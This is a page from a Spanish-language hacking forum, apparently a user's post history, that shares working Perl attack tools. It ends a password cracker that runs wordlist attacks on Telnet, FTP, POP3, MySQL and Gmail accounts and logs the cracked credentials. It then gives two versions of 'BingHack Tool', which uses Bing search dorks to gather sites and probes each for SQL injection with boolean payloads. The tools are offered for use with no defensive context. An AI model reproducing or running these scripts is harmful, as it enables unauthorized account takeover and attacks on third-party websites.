  148.  
  149.    copyright();
  150.  
  151. }
  152.  
  153. sub yeahmail {
  154.  
  155.    print "\a\a\n[+] Cracked\n\n";
  156.    print "[+] Account Type : $_[0]\n";
  157.    print "[+] Username : $_[1]\n";
  158.    print "[+] Password : $_[2]\n";
  159.  
  160.    savefile( "cracked-logs.txt", $_[0] . ":" . $_[1] . ":" . $_[2] );
  161.  
  162.    copyright();
  163.  
  164. }
  165.  
  166. sub openwordlist {
  167.  
  168.    my ( $file, $tipo ) = @_;
  169.  
  170.    print "\n[+] Opening file\n\n";
  171.  
  172.    unless ( -f $file ) {
  173.        print "\n[-] File not found\n";
  174.        copyright();
  175.    }
  176.  
  177.    open( FILE, $file );
  178.    my @words = <FILE>;
  179.    close FILE;
  180.  
  181.    print "[+] Words Found : " . int(@words) . "\n\n";
  182.    print "[+] Cracking service $tipo\n\n";
  183.  
  184.    return @words;
  185.  
  186. }
  187.  
  188. sub savefile {
  189.    open( SAVE, ">>" . $_[0] );
  190.    print SAVE $_[1] . "\n";
  191.    close SAVE;
  192. }
  193.  
  194. sub form1 {
  195.  
  196.    print "\n[+] Host : ";
  197.    chomp( my $host = <stdin> );
  198.    print "\n[+] User : ";
  199.    chomp( my $user = <stdin> );
  200.    print "\n[+] Wordlist : ";
  201.    chomp( my $word = <stdin> );
  202.    print "\n[+] Timeout : ";
  203.    chomp( my $time = <stdin> );
  204.  
  205.    return ( $host, $user, $word, $time );
  206.  
  207. }
  208.  
  209. sub form2 {
  210.    print "\n[+] Email : ";
  211.    chomp( my $email = <stdin> );
  212.    print "\n[+] Wordlist : ";
  213.    chomp( my $word = <stdin> );
  214.    print "\n[+] Timeout : ";
  215.    chomp( my $time = <stdin> );
  216.    return ( $email, $word, $time );
  217.  
  218. }
  219.  
  220. sub head {
  221.    print qq(
  222.  
  223. @     @                                    @@@@                 @            
  224. @     @                                   @    @                @            
  225. @@   @@                                   @                     @            
  226. @@   @@   @@@   @@   @@  @ @   @  @@@     @      @@  @@@   @@@  @  @   @@@  @@
  227. @ @ @ @      @ @  @ @  @ @ @   @ @   @    @      @      @ @   @ @ @   @   @ @
  228. @ @ @ @   @@@@  @    @   @  @ @  @@@@@    @      @   @@@@ @     @@    @@@@@ @
  229. @  @  @  @   @   @    @  @  @ @  @        @      @  @   @ @     @ @   @     @
  230. @  @  @  @   @ @  @ @  @ @   @   @   @    @    @ @  @   @ @   @ @  @  @   @ @
  231. @     @   @@@@  @@   @@  @   @    @@@      @@@@  @   @@@@  @@@  @   @  @@@  @
  232.  
  233.  
  234.  
  235.  
  236.                                              Coded By Doddy H
  237.  
  238.  
  239.  
  240.  
  241.  
  242. [++] Services
  243.  
  244. [1] : Telnet
  245. [2] : FTP
  246. [3] : POP3
  247. [4] : Mysql
  248. [5] : Gmail
  249.  
  250.  
  251.  
  252. );
  253. }
  254.  
  255. sub copyright {
  256.    print "\n\n(C) Doddy Hackman 2012\n\n";
  257.    <stdin>;
  258.    exit(1);
  259. }
  260.  
  261. #The End ?
  262.  
249  Programación / Scripting / [Perl Tk] BingHack Tool 0.1 en: 26 Mayo 2012, 16:02 pm
Version Tk de un script en Perl para buscar paginas vulnerables a SQLi usando Bing.

Una imagen



El codigo

Código
  1. #!usr/bin/perl
  2. #BingHack Tool 0.1
  3. #Version Tk
  4. #Coded By Doddy H
  5.  
  6. use Tk;
  7. use LWP::UserAgent;
  8.  
  9. my $nave = LWP::UserAgent->new;
  10. $nave->agent(
  11. "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
  12. );
  13. $nave->timeout(5);
  14.  
  15. my $color_fondo = "black";
  16. my $color_texto = "green";
  17.  
  18. if ( $^O eq 'MSWin32' ) {
  19.    use Win32::Console;
  20.    Win32::Console::Free();
  21. }
  22.  
  23. my $hj =
  24.  MainWindow->new( -background => $color_fondo, -foreground => $color_texto );
  25. $hj->geometry("600x285+20+20");
  26. $hj->resizable( 0, 0 );
  27. $hj->title("BingHack Tool 0.1");
  28.  
  29. $hj->Label(
  30.    -text       => "Dork : ",
  31.    -font       => "Impact1",
  32.    -background => $color_fondo,
  33.    -foreground => $color_texto
  34. )->place( -x => 18, -y => 22 );
  35. my $dork = $hj->Entry(
  36.    -width      => 30,
  37.    -background => $color_fondo,
  38.    -foreground => $color_texto
  39. )->place( -x => 68, -y => 26 );
  40.  
  41. $hj->Label(
  42.    -text       => "Pages : ",
  43.    -font       => "Impact1",
  44.    -background => $color_fondo,
  45.    -foreground => $color_texto
  46. )->place( -x => 270, -y => 22 );
  47. my $pages = $hj->Entry(
  48.    -width      => 10,
  49.    -background => $color_fondo,
  50.    -foreground => $color_texto
  51. )->place( -x => 335, -y => 26 );
  52.  
  53. $hj->Button(
  54.    -text             => "Search",
  55.    -width            => 10,
  56.    -background       => $color_fondo,
  57.    -foreground       => $color_texto,
  58.    -activebackground => $color_texto,
  59.    -command          => \&search
  60. )->place( -x => 420, -y => 26 );
  61. $hj->Button(
  62.    -text             => "Logs",
  63.    -width            => 10,
  64.    -background       => $color_fondo,
  65.    -foreground       => $color_texto,
  66.    -activebackground => $color_texto,
  67.    -command          => \&logs
  68. )->place( -x => 495, -y => 26 );
  69.  
  70. $hj->Label(
  71.    -text       => "Links Found",
  72.    -font       => "Impact",
  73.    -background => $color_fondo,
  74.    -foreground => $color_texto
  75. )->place( -x => 110, -y => 80 );
  76. my $links = $hj->Listbox(
  77.    -width      => 40,
  78.    -height     => 10,
  79.    -background => $color_fondo,
  80.    -foreground => $color_texto
  81. )->place( -x => 30, -y => 120 );
  82.  
  83. $hj->Label(
  84.    -text       => "SQLi Found",
  85.    -font       => "Impact",
  86.    -background => $color_fondo,
  87.    -foreground => $color_texto
  88. )->place( -x => 390, -y => 80 );
  89. my $founds = $hj->Listbox(
  90.    -width      => 40,
  91.    -height     => 10,
  92.    -background => $color_fondo,
  93.    -foreground => $color_texto
  94. )->place( -x => 310, -y => 120 );
  95.  
  96. MainLoop;
  97.  
  98. sub search {
  99.  
  100.    $links->delete( "0.0", "end" );
  101.    $founds->delete( "0.0", "end" );
  102.  
  103.    $hj->update;
  104.    $hj->title("BingHack Tool 0.1 [+] Status : Searching");
  105.    my @urls = bing( $dork->get, $pages->get );
  106.    $hj->update;
  107.  
  108.    for (@urls) {
  109.        $hj->update;
  110.        $links->insert( "end", $_ );
  111.    }
  112.  
  113.    $hj->title("BingHack Tool 0.1 [+] Status : Scanning");
  114.  
  115.    for my $pa (@urls) {
  116.        $hj->update;
  117.        sql($pa);
  118.    }
  119.    $hj->update;
  120.    $hj->title("BingHack Tool 0.1");
  121. }
  122.  
  123. sub logs {
  124.  
  125.    my $file = "sql-logs.txt";
  126.  
  127.    if ( -f $file ) {
  128.        system($file);
  129.    }
  130.    else {
  131.        $hj->Dialog(
  132.            -title            => "Error",
  133.            -buttons          => ["OK"],
  134.            -text             => "Logs not found",
  135.            -background       => $color_fondo,
  136.            -foreground       => $color_text,
  137.            -activebackground => $color_text
  138.        )->Show();
  139.    }
  140. }
  141.  
  142. sub sql {
  143.    my ( $pass1, $pass2 ) = ( "+", "--" );
  144.    my $page = shift;
  145.  
  146.    my $testar1 = toma( $page . $pass1 . "and" . $pass1 . "1=0" . $pass2 );
  147.    my $testar2 = toma( $page . $pass1 . "and" . $pass1 . "1=1" . $pass2 );
  148.  
  149.    unless ( $testar1 eq $testar2 ) {
  150.        $founds->insert( "end", $page );
  151.        savefile( "sql-logs.txt", $page );
  152.    }
  153. }
  154.  
  155. sub savefile {
  156.    open( SAVE, ">>" . $_[0] );
  157.    print SAVE $_[1] . "\n";
  158.    close SAVE;
  159. }
  160.  
  161. sub bing {
  162.  
  163.    my ( $a, $b ) = @_;
  164.    for ( $pages = 10 ; $pages <= $b ; $pages = $pages + 10 ) {
  165.        $hj->update;
  166.        my $code =
  167.          toma( "http://www.bing.com/search?q=" . $a . "&first=" . $pages );
  168.  
  169.        while ( $code =~ /<h3><a href="(.*?)"/mig ) {
  170.            push( @founds, $1 );
  171.        }
  172.    }
  173.    my @founds = repes( cortar(@founds) );
  174.    return @founds;
  175. }
  176.  
  177. sub repes {
  178.    my @limpio;
  179.    foreach $test (@_) {
  180.        push @limpio, $test unless $repe{$test}++;
  181.    }
  182.    return @limpio;
  183. }
  184.  
  185. sub cortar {
  186.    my @nuevo;
  187.    for (@_) {
  188.        if ( $_ =~ /=/ ) {
  189.            @tengo = split( "=", $_ );
  190.            push( @nuevo, @tengo[0] . "=" );
  191.        }
  192.        else {
  193.            push( @nuevo, $_ );
  194.        }
  195.    }
  196.    return @nuevo;
  197. }
  198.  
  199. sub toma {
  200.    return $nave->get( $_[0] )->content;
  201. }
  202.  
  203. #The End ?
  204.  
250  Programación / Scripting / [Perl] BingHack Tool 0.1 en: 26 Mayo 2012, 16:02 pm
Un simple script en perl para buscar paginas vulnerables a SQLi usando Bing.

El codigo

Código
  1. #!usr/bin/perl
  2. #BingHack Tool 0.1
  3. #Coded By Doddy H
  4.  
  5. use LWP::UserAgent;
  6.  
  7. my $nave = LWP::UserAgent->new;
  8. $nave->agent(
  9. "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
  10. );
  11. $nave->timeout(5);
  12.  
  13. head();
  14. print "\n\n[+] Dork : ";
  15. chomp( my $dork = <stdin> );
  16. print "\n[+] Pages : ";
  17. chomp( my $pags = <stdin> );
  18. print "\n[+] Searching ...\n";
  19. my @urls = bing( $dork, $pags );
  20. print "\n[+] Pages Found : " . int(@urls) . "\n";
  21. print "\n[+] Scanning ...\n\n";
  22.  
  23. for my $pa (@urls) {
  24.    sql($pa);
  25. }
  26. print "\n[+] Finished\n";
  27.  
  28. copyright();
  29.  
  30. sub sql {
  31.    my ( $pass1, $pass2 ) = ( "+", "--" );
  32.    my $page = shift;
  33.  
  34.    my $testar1 = toma( $page . $pass1 . "and" . $pass1 . "1=0" . $pass2 );
  35.    my $testar2 = toma( $page . $pass1 . "and" . $pass1 . "1=1" . $pass2 );
  36.  
  37.    unless ( $testar1 eq $testar2 ) {
  38.        print "[+] SQLI : $page\a\n";
  39.        savefile( "sql-logs.txt", $page );
  40.    }
  41. }
  42.  
  43. sub savefile {
  44.    open( SAVE, ">>" . $_[0] );
  45.    print SAVE $_[1] . "\n";
  46.    close SAVE;
  47. }
  48.  
  49. sub bing {
  50.  
  51.    my ( $a, $b ) = @_;
  52.    for ( $pages = 10 ; $pages <= $b ; $pages = $pages + 10 ) {
  53.        my $code =
  54.          toma( "http://www.bing.com/search?q=" . $a . "&first=" . $pages );
  55.  
  56.        while ( $code =~ /<h3><a href="(.*?)"/mig ) {
  57.            push( @founds, $1 );
  58.        }
  59.    }
  60.    my @founds = repes( cortar(@founds) );
  61.    return @founds;
  62. }
  63.  
  64. sub repes {
  65.    my @limpio;
  66.    foreach $test (@_) {
  67.        push @limpio, $test unless $repe{$test}++;
  68.    }
  69.    return @limpio;
  70. }
  71.  
  72. sub cortar {
  73.    my @nuevo;
  74.    for (@_) {
  75.        if ( $_ =~ /=/ ) {
  76.            @tengo = split( "=", $_ );
  77.            push( @nuevo, @tengo[0] . "=" );
  78.        }
  79.        else {
  80.            push( @nuevo, $_ );
  81.        }
  82.    }
  83.    return @nuevo;
  84. }
  85.  
  86. sub head {
  87.    print qq(
  88.  
  89. @@@@   @             @    @              @        @@@@@              @
  90. @   @                @    @              @          @                @
  91. @   @                @    @              @          @                @
  92. @   @  @ @ @@   @@@@ @    @   @@@   @@@  @  @       @     @@@   @@@  @
  93. @@@@   @ @@  @ @   @ @@@@@@      @ @   @ @ @        @    @   @ @   @ @
  94. @   @  @ @   @ @   @ @    @   @@@@ @     @@         @    @   @ @   @ @
  95. @   @  @ @   @ @   @ @    @  @   @ @     @ @        @    @   @ @   @ @
  96. @   @  @ @   @ @   @ @    @  @   @ @   @ @  @       @    @   @ @   @ @
  97. @@@@   @ @   @  @@@@ @    @   @@@@  @@@  @   @      @     @@@   @@@  @
  98.                    @                                                  
  99.                @@@@                                                  
  100.  
  101. );
  102. }
  103.  
  104. sub copyright {
  105.    print "\n\n-- == (C) Doddy Hackman 2012\n\n";
  106.    <stdin>;
  107.    exit(1);
  108. }
  109.  
  110. sub toma {
  111.    return $nave->get( $_[0] )->content;
  112. }
  113.  
  114. # The End ?
  115.  
Páginas: 1 ... 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 [25] 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 ... 43
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines